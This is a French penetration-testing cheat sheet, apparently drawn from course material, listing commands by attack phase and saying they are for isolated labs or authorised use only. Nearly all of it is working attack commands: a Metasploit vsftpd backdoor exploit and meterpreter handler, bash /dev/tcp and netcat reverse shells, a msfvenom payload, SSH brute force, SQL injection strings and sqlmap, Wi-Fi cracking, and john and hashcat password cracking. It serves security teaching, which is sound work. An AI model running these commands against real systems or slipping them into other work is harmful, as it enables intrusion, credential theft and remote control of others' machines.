L'essentiel des commandes par phase — extraits des cours Débutant, Intermédiaire et Expert. Usage en laboratoire isolé ou avec autorisation écrite uniquement.
# DNS et whois (passif)
whois exemple.fr
dig exemple.fr ANY
nslookup exemple.fr
# OSINT : theHarvester
theHarvester -d exemple.fr -b google
# Découverte d'hôtes (lab)
nmap -sn 192.168.56.0/24
# Scan SYN + versions + OS (lab)
nmap -sS -sV -O 192.168.56.101
# Scan agressif complet
nmap -A 192.168.56.101
# Vulnérabilités NSE
nmap -sV --script vuln 192.168.56.101
# Partages SMB anonymes
smbclient -L //192.168.56.101 -N
enum4linux -a 192.168.56.101
# Metasploit : vsftpd 2.3.4 (lab)
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
exploit
# Listener générique
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.1
exploit
# Brute-force SSH (compte de lab)
hydra -l msfadmin -P dico.txt -t 4 192.168.56.101 ssh
# Upgrade de shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Chasse aux SUID
find / -perm -4000 -type f 2>/dev/null
# Droits sudo
sudo -l
# Tâches planifiées
cat /etc/crontab ; ls -l /etc/cron*
# Hash à casser (local)
john --format=crypt --wordlist=dico.txt hash.txt
john --show hash.txt
# Kali en écoute
nc -lvnp 4444
# Bash
bash -i >& /dev/tcp/10.10.10.5/4444 0>&1
# Netcat (si -e disponible)
nc 10.10.10.5 4444 -e /bin/bash
# msfvenom : payload Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.5 LPORT=4444 -f elf -o shell.elf
# Injection SQL manuelle (DVWA)
' (erreur SQL = vulnérable)
1' OR '1'='1' -- -
# sqlmap authentifié
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=X;security=low" --dbs
# Dirbusting
gobuster dir -u http://127.0.0.1 \
-w /usr/share/wordlists/dirb/common.txt
# Wi-Fi : son propre AP uniquement
airmon-ng check kill
airodump-ng wlan0mon -w capture
aircrack-ng -w dico.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
# RockYou (à décompresser)
gunzip /usr/share/wordlists/rockyou.txt.gz
ls /usr/share/wordlists/
# Générer avec crunch
crunch 8 8 abc123 -o dico.txt
# John the Ripper
john --wordlist=rockyou.txt hash.txt
# Hashcat (GPU), exemple MD5
hashcat -m 0 -a 0 hash.txt rockyou.txt